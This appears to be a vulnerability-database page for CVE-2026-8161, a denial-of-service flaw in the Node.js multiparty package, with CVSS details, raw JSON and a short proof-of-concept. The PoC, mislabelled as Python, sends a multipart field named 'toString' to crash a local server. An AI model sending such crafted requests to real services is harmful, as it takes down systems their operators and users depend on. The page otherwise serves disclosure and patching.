Security Vulnerability Report
中文
CVE-2026-8161 CVSS 7.5 HIGH

CVE-2026-8161

Published: 2026-05-12 10:16:49
Last Modified: 2026-05-12 10:16:49
Source: ce714d77-add3-4f53-aff5-83d477b104bb

Description

[email protected] and lower versions are vulnerable to denial of service via uncaught exception. By sending a multipart/form-data request with a field name that collides with an inherited Object.prototype property such as __proto__, constructor, or toString, the parser invokes .push() on the inherited prototype value rather than an array, throwing a TypeError that propagates as an uncaught exception and crashes the process. Impact: any service accepting multipart uploads via multiparty is affected. Workarounds: none. Upgrade to [email protected] or higher.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

multiparty <= 4.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const http = require('http'); const multiparty = require('multiparty'); const FormData = require('form-data'); // Create a vulnerable server instance const server = http.createServer((req, res) => { if (req.method === 'POST') { const form = new multiparty.Form(); form.parse(req, (err, fields, files) => { if (err) { res.writeHead(500); res.end('Parse error'); return; } res.writeHead(200); res.end('OK'); }); } else { res.writeHead(200); res.end('Please send a POST request'); } }); server.listen(3000, async () => { console.log('Vulnerable server listening on port 3000...'); // Prepare the malicious payload // 'toString' is a property on Object.prototype const form = new FormData(); form.append('toString', 'payload_that_crashes_server'); // Send the request const submit = form.submit('http://localhost:3000', (err, res) => { if (err) { console.log('[+] Exploit successful: Server crashed or connection reset.'); console.log(' Error:', err.message); } else { console.log('[-] Exploit failed: Server responded (might be patched).'); } server.close(); }); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-8161", "sourceIdentifier": "ce714d77-add3-4f53-aff5-83d477b104bb", "published": "2026-05-12T10:16:48.987", "lastModified": "2026-05-12T10:16:48.987", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "[email protected] and lower versions are vulnerable to denial of service via uncaught exception. By sending a multipart/form-data request with a field name that collides with an inherited Object.prototype property such as __proto__, constructor, or toString, the parser invokes .push() on the inherited prototype value rather than an array, throwing a TypeError that propagates as an uncaught exception and crashes the process. Impact: any service accepting multipart uploads via multiparty is affected. Workarounds: none. Upgrade to [email protected] or higher."}], "metrics": {"cvssMetricV31": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-248"}, {"lang": "en", "value": "CWE-1321"}]}], "references": [{"url": "https://cna.openjsf.org/security-advisories.html", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}, {"url": "https://github.com/pillarjs/multiparty/security/advisories/GHSA-qxch-whhj-8956", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}]}}